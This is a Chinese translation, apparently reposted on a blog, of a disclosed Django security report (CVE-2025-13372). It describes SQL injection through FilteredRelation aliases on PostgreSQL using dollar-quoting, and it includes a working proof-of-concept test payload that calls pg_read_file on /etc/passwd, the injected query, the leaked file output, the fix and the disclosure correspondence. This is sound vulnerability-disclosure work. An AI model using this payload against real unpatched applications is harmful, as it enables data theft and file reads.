Django PostgreSQL过滤关联注解SQL注入漏洞分析与利用

本文详细分析了Django框架中一个潜在的SQL注入漏洞,该漏洞源于在PostgreSQL数据库上对FilteredRelation进行注解时,FORBIDDEN_ALIAS_PATTERN正则表达式的过滤不完整。报告提供了完整的漏洞原理、利用代码(PoC)和修复方案。

Django | 报告 #3417967 - 在PostgreSQL上注解FilteredRelation时潜在的SQL注入漏洞

时间线 ID-verified 黑客已成功完成ID验证检查。 stackered 向Django提交了一份报告。 2025年11月9日,晚上8:26(UTC)

菜单 菜单

你好,Django安全团队!

此漏洞与CVE 2025-57833和CVE 2025-59681相关,因为它源于FORBIDDEN_ALIAS_PATTERN中的正则表达式过滤不完整。

在PostgreSQL中,$符号可以用来替换引号,并在标签之间构建原始字符串,例如:$$something$$$tag$something$tag$。这可以被滥用来使查询的一部分被解释为原始字符串,而不是要执行的实际查询。在某些情况下,这允许构建注入,如下面的概念验证(PoC)所示。

以下PoC可以粘贴到tests/filtered_relation/tests.py文件中的FilteredRelationTests类里。

代码 712字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def test_sqli(self):
    user_data = "$a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1"

    qs = (
        Book.objects.annotate(**{
            user_data: FilteredRelation(
                "editor"
            ),
        })
        .select_related(user_data)
    )

    try:
        import django
        for e in qs.all():
            print("######### Injected #########")
            print(e.title)
            print("############################")
    except django.db.utils.ProgrammingError as e:
        print(f"------\n{e}")

这个PoC将从PostgreSQL Docker容器中读取/etc/passwd文件,您可以使用以下命令运行该容器:

代码 100字节

1
docker run --rm -it --net=host --name some-postgis -e POSTGRES_PASSWORD=mysecretpassword -d postgres

tests/test_sqlite.py文件更改为:

代码 226字节

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.postgresql",
        "NAME": "django",
        "USER": "postgres",
        "PORT": 5432,
        "HOST": "localhost"
    },
}
SECRET_KEY = "mysecretpassword"

最后,可以使用以下命令执行PoC:

代码 91字节

1
2
cd django/tests
python3 runtests.py filtered_relation.tests.FilteredRelationTests.test_sqli

以下是输出结果,显示文件已在Docker容器上成功读取。

代码 1.01 KiB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
######### Injected #########
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash

############################

所执行的完整SQL查询如下:

代码 1.07 KiB

1
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id", $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."name" FROM "filtered_relation_book" INNER JOIN "filtered_relation_editor" $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1 ON ("filtered_relation_book"."editor_id" = $a$,$b$,$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

此漏洞利用在此上下文中有效,因为用户输入在查询中被多次反射,使得$a$$b$$c$……等标签得以闭合,并使查询的大部分被解释为select语句的原始字符串。

以下是简化后的查询,以提高可读性:

代码 463字节

1
SELECT "filtered_relation_book"."id", "filtered_relation_book"."title", "filtered_relation_book"."author_id", "filtered_relation_book"."editor_id", "filtered_relation_book"."number_editor", "filtered_relation_book"."editor_number", "filtered_relation_book"."state", $a$...$a$,$b$...$b$,$c$...$c$,(1)from(select(1)id,(pg_read_file($$/etc/passwd$$))title,(3)author_id,(4)editor_id,(5)number_editor,(6)editor_number,(7)state)filtered_relation_book,(select(1),1."id")

影响

影响是SQL注入,允许窃取数据、读取系统文件(如PoC所示)或允许远程命令执行。

修复措施

修复措施包括将$符号添加到FORBIDDEN_ALIAS_PATTERN正则表达式中。

jacobtylerwalls Django员工 发表了一条评论。 2025年11月10日,下午5:15(UTC)

菜单 菜单

你好,stackered,

感谢您的报告。我们将进行调查并尽快回复您。在此期间,请对这些信息保密。

如果您还没有查看过,请查阅Django安全团队如何评估报告:https://docs.djangoproject.com/en/dev/internals/security/。

请注意,我们可能需要几周时间才能完成分析。除非您发现新的相关信息,否则无需催促安全团队。所有报告都旨在在行业标准的90天内解决。

此致, Jacob

jacobtylerwalls Django员工 发表了一条评论。 2025年11月18日,晚上9:39(UTC)

菜单 菜单

你好,stackered,

感谢您的报告和耐心等待。我们已经确认了该漏洞,并已分配了CVE-2025-13372。

我已附上我们提议的缓解解决方案。您能否测试一下补丁,以确保它能可靠地修复此问题?

我们计划在一篇博客文章中提及漏洞发现者。使用"stackered"可以吗?或者您希望以其他方式署名?

包含此修复的Django版本目前计划于12月2日发布。在更新版本发布之前,请对此保密。

0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch (F5022077)

再次感谢!

附件 1个附件 F5022077: 0001-Fixed-CVE-2025-13372-Protected-FilteredRelation-agai.patch

jacobtylerwalls Django员工 将状态更改为 已分类2025年11月18日,晚上9:40(UTC)

ID-verified 黑客已成功完成ID验证检查。 stackered 发表了一条评论。 2025年11月19日,下午1:18(UTC)

菜单 菜单

你好,Jacob,

我已经测试了提议的补丁,无法再复现该问题。

署名用"stackered"可以,谢谢。

祝你今天愉快!

nessita Django员工 关闭了报告并将状态更改为 已解决2天前

菜单 菜单

此问题已于2025年12月2日下午2点修复并发布。

已发布的Django安全版本:5.2.9、5.1.15和4.2.27

详细信息可在Django项目博客上找到: https://www.djangoproject.com/weblog/2025/dec/02/security-releases/

The Internet Bug Bounty 已决定此报告不符合赏金资格。 2天前

菜单 菜单

Django不为安全报告提供金钱奖励。

您可以按照以下方式将问题提交给Internet Bug Bounty计划: https://hackerone.com/ibb

nessita Django员工 请求公开此报告。 2天前

stackered 同意公开此报告。 2天前

此报告已公开。 2天前

报告于 2025年11月9日,晚上8:23(UTC) 报告人 stackered 报告对象 Django 参与者 报告ID #3417967 已解决 严重性 高 (8.1) 公开时间 2025年12月2日,下午3:28(UTC) 弱点 SQL注入 CVE ID CVE-2025-57833, CVE-2025-59681 赏金 隐藏 账户详情

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计